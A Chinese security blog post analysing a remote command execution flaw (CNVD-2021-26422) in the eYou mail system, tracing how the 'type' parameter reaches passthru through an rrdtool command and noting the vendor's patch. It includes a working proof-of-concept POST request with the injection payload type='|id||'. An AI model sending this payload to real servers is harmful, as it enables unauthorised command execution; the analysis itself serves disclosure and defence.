【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)

  • A+
所属分类:安全漏洞

【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)

网安教育

培养网络安全人才

技术交流、学习咨询



0x00 前言
【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)


北京亿中邮信息技术有限公司(亿邮)是一款专业的邮件系统软件及整体解决方案提供商。

亿邮电子邮件系统远程命令执行漏洞,攻击者利用该漏洞可在未授权的情况实现远程命令执行,获取目标服务器权限。


0x01 漏洞分析
【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)


刚拿到亿邮的代码,就简单看了下这次漏洞的成因,总的来说就是命令注入导致的命令执行漏洞,由于没动态调试,纯肉眼看难免会不当之处,敬请谅解。

漏洞起因在lib/php/ui/web/action/admin/em_controller_action_moni_detail.class.php

 1public function action_do() 
2
{
3    $action = $this->__request->get_request('action'null);
4    switch ($action) {
5        case 'gragh'// 获取图像
6            $this->_get_graph();
7            break;
8
9        case 'save_config'// 保存用户配置
10            $this->_save_config();
11            break;
12
13        case 'save_fav'// 保存用户收藏配置
14            $this->_save_host_fav();
15            break;
16
17        case 'zoom':
18            return $this->json_stdout(array('res' => 0'data' => array()));
19            break;
20
21        default:
22            $this->_php_assert('Location: em_controller_action_admin_notice_manager::action_default()');
23    }
24}


当传入的action参数为graph时,会进入到_get_graph函数

 1   protected function _get_graph()
2        
{   
3    $cluster = $this->__request->get_request('cluster''');
4    hostname = $this->__request->get_request('hostname''elephant110');
5    $type = $this->__request->get_request('type''cpu_report'); 
6
7    $date_type = $this->__request->get_request('date_type''hour');
8    $date_value = $this->__request->get_request('date_value''1');
9    $columns = $this->__request->get_request('columns'2);
10    $size = $this->__request->get_request('size''small');
11
12    require_once PATH_EYOUM_LIB . 'em_monitor.class.php';
13    $graph = new em_monitor;
14
15    $condition = em_condition::factory('monitor''report:get_report');
16    $condition->set_clustername($cluster);
17    $condition->set_hostname($hostname);
18
19    // 默认图形
20    switch ($type) {
21        case 'cpu_report':
22        case 'mem_report':
23        case 'network_report':
24        case 'packet_report':
25        case 'load_report':
26            $condition->set_graph($type);
27            break;
28
29        // metric 图形
30        default:
31            $condition->set_graph('metric');
32            $condition->set_metricname($type);
33            break;
34    }
35
36    $size_array = $this->_get_recover_size($type);
37    $graph->set_graph_size($size_array);
38
39    $condition->set_size($size);
40    $start = em_monitor::get_start_timestamp($date_value . ' ' . $date_type);
41    $condition->set_start($start);
42    $condition->set_end('now');
43
44    $graph->set_graph($condition);
45    $graph->set_debug(true);
46    $graph->draw();
47}


这块代码是整个漏洞的核心,当传入type参数时会进入到switch选择,但是如果不为case列表中的参数,则会进入到default里面,最终进入到set_metricname函数,有经验的同学看到set起头的函数,应该都知道,这是一个用来给condition进行key-value赋值的函数,接着又将condition作为参数,通过set_graph的形式赋值给了graph的graph键,最后进行draw。


其实看到这里已经能够猜到了,最后的draw一定调用了执行命令的参数,并且是对condition参数进行了某种形式的拼接,从而产生的漏洞,那么带着这样的思路,进入到draw函数里面去看。


首先来看上面提到的set_graph函数,看看我们可控的type,继而控制的condition参数是如何进行赋值的

  1public function set_graph(em_condition_adapter_monitor_report_get_report $condition)
 2
{
 3    $condition->check_params();
 4
 5    $clustername = $condition->get_clustername();
 6    $hostname = $condition->get_hostname();
 7    $metricname = $condition->get_metricname();
 8    $graph = $condition->get_graph();
 9
10    $title = $condition->get_title();
11    $size = $condition->get_size();
12    $start = $condition->get_start();
13    $end = $condition->get_end();
14    $uppper_limit = $condition->get_upper_limit();
15    $lower_limit = $condition->get_lower_limit();
16    $vlabel = $condition->get_vlabel();
17
18    $rrd_dir = $this->__rrd_datadir . "/$clustername/$hostname";
19
20    // rrdtool 命令参数
21    $this->__graph[] = $this->__rrdtool;
22    $this->__graph[] = 'graph -';
23
24    if (isset($start) && isset($end)) {
25        $this->__graph[] = "--start $start";
26        $this->__graph[] = "--end $end";
27    }
28
29    $profile = array();
30    $path = PATH_EYOUM_LIB . 'monitor/em_monitor_adapter_' . $graph . '.class.php'
31    if (file_exists($path)) { // 内部 adapter
32        require_once $path;
33
34        $class = 'em_monitor_adapter_' . $graph;
35        if (!class_exists($class)) {
36            throw new em_monitor_exception(gettext('get profile failure.'));
37        }
38        $class_object = new $class;
39
40        $method = 'graph_' . $graph;
41
42        $params = array(
43            'size'  => $size,
44            'graph_sizes' => $this->__graph_sizes,
45            'rrd_dir' => $rrd_dir,
46
47            'upper_limit' => $uppper_limit,
48            'lower_limit' => $lower_limit,
49            'vlabel' => $vlabel,
50            'metricname' => $metricname,
51        );
52
53        $profile = $class_object->$method($params);
54
55        if (isset($title)) {
56            $profile['title'] = $title;
57        }
58    } else { // 插件
59        $params = array(
60            'size'  => $size,
61            'graph_sizes' => $this->__graph_sizes,
62            'rrd_dir' => $rrd_dir,
63        );
64
65        $container = new stdClass();
66        $container->profile = array();
67
68        em_plugin_helper::import_plugin('monitor');
69        em_event_helper::trigger(em_event_helper::property_factory(
70            'on_init_monitor_graph'
71            array
72                $params,
73                $container,
74            )
75        ));
76
77        if (empty($container->profile)) {
78            throw new em_monitor_exception(gettext('get profile failure.'));
79        }
80
81        $profile = $container->profile[$graph];
82    }
83
84    if (empty($profile)) {
85        throw new em_monitor_exception(gettext('get profile failure.'));
86    }
87
88    foreach ($profile as $key => $value) {
89        if (preg_match('/extras|series/', $key)) {
90            continue;
91        }
92
93        if (preg_match('/W/', $value)) {
94            //more than alphanumerics in value, so quote it
95            $value = "'$value'";
96        }
97        $this->__graph[] = "--$key $value";
98    }
99
100    if (isset($profile['extras'])) {
101        $this->__graph[] = $profile['extras'];
102    }
103
104    if (!isset($profile['series'])) {
105        throw new em_monitor_exception(gettext('failed to get data.'));
106    } else {
107        $this->__graph[] = $profile['series'];
108    }
109}


这里可以看到,首先通过get_metricname函数将我们赋值进行的type参数给取了出来,然后赋值给metricname变量,之后又通过调用lib/php/monitor/em_monitor_adapter_metric.class.php,这里为什么是em_monitor_adapter_metric.class.php,重点看上面是如何进行graph变量赋值的,还是switch函数最终进入到default,然后将condition['graph']设置为metric,跟进到em_monitor_adapter_metric.class.php的graph_metric函数,在这个地方进行了profile的定义

 1public function graph_metric($params)
2
{
3    foreach ($params as $k => $v) {
4        $$k = $v;
5    }
6
7    $rrdtool_graph['title'] = $metricname;
8    $rrdtool_graph['height'] = $graph_sizes[$size]['height'];
9    $rrdtool_graph['width'] = $graph_sizes[$size]['width'];
10
11    if (isset($upper_limit) && is_numeric($upper_limit)) {
12        $rrdtool_graph['upper-limit'] = $upper_limit;
13    }
14
15    if (isset($lower_limit) && is_numeric($lower_limit)) {
16        $rrdtool_graph['lower-limit'] = $lower_limit;
17    }
18
19    if ($vlabel) {
20        // We should set $vlabel, even if it isn't used for spacing
21        // and alignment reasons.  This is mostly for aesthetics
22        $temp_vlabel = trim($vlabel);
23        $rrdtool_graph['vertical-label'] = strlen($temp_vlabel)
24            ?  $temp_vlabel
25            :  ' ';
26    } else {
27        $rrdtool_graph['vertical-label'] = ' ';
28    }
29
30    // the actual graph...
31    $series  = "DEF:'sum'='$rrd_dir/$metricname.rrd:sum':AVERAGE ";
32    $series .= "AREA:'sum'#$this->__default_metric_color:'$metricname':STACK";
33
34    $rrdtool_graph['series'] = $series;
35
36    return $rrdtool_graph;
37}

其实只要看metricname即可,可以看到我们可以控制的type变量经过conditoin['metricname'],经过metricname,最后赋值给了rrdtool_graph['title'],并且这里比较关键的是如何进行字段拼接,重点看上面set_graph函数,rrdtool_graph作为return变量付给了profile,然后对profile的key/value进行检查,如果value为字符串,则用引号包裹,那么其实有点类似于"--title '$type'"这样,到这里已经有点水落石出的意思。


最后我们来到graph->draw函数

 1public function draw()
2
{
3    $command = implode(' '$this->__graph);
4
5    /*Make sure the image is not cached*/
6    header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");   // Date in the past
7    header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); // always modified
8    header ("Cache-Control: no-cache, must-revalidate");   // HTTP/1.1
9    header ("Pragma: no-cache");                     // HTTP/1.0
10
11    if ($this->__debug) {
12        $fp = fopen('/tmp/monitor.log''w');
13        fwrite($fp, $command . "n");
14        fclose($fp);
15    }
16
17    header ("Content-type: image/gif");
18    passthru($command);
19}


通过空格进行切割,用passthru来执行command变量,看到这里,就应该能知道怎么执行命令了。通过查看/tmp/monitor.log也应证了我的猜想。

1/usr/local/eyou/mail/opt/bin/rrdtool graph - --start 1618627792 --end now --title '$type':STACK


所以这里的type就成功注入到执行的命令里去了。


0x02 漏洞测试
【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)


 1POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
2Host: xx.com
3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:67.0) Gecko/20100101 Firefox/67.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6Content-Type: application/x-www-form-urlencoded
7Content-Length: 12
8Connection: close
9Upgrade-Insecure-Requests: 1
10
11type='|id||'


0x03 补丁分析
【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)


简单看了下补丁的可执行文件,比较简单粗暴,将ui/web/action/admin/em_controller_action_admin_moni_setting.class.php ui/web/action/admin/em_controller_action_admin_moni_fav.class.php ui/web/action/admin/em_controller_action_admin_moni_detail.class.php三个文件都进行了删除,实际上如果你看这三个文件,会发现都有同样的命令注入问题,这么这么简单粗暴的修复也何尝不是一种解决办法。


0x04 后记
【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)


在分析过程中由于没有动态调试,有一点看的不是明白,那就是如何未授权这个点,在ui/web/action/admin/em_controller_action_admin_moni_setting.class.php这些文件中实际上都进行了权限认证

 1case 'admin':
2            if (false === $is_json) {
3            if (self::$not_login_user) {
4                $url_path = em_config::get('admin_url_name');
5                $HTML =<<<ENDHTML
6<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">
7
23</script></head><body></body></html>
24  ENDHTML;
25                $this->get_response()->clear_body();
26                $this->get_response()->append_body($HTML,'unlogin');
27                return false;
28            }
29
30            if ($is_check_zone) {
31                return $this->check_zone($module, $is_json);
32            }
33        } else { // json格式
34            if (self::$not_login_user) {
35                $this->json_stdout(array('_login' => 0));
36                return false;
37            }
38
39            if ($is_check_zone) {
40                return $this->check_zone($module, $is_json);
41            }
42        }
43
44        return true;
45        break;


这里根据笔者逻辑来走,应该是返回false,最终return空,导致下面的流程进行不下去,所以这点上还是有点不太明白,需要进一步结合整个框架源码深入分析。

【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)

原文链接:http://foreversong.cn/archives/1570

版权声明:著作权归作者所有。如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)


我就知道你“在看”
【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)

本文始发于微信公众号(开源聚合网络空间安全研究院):【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: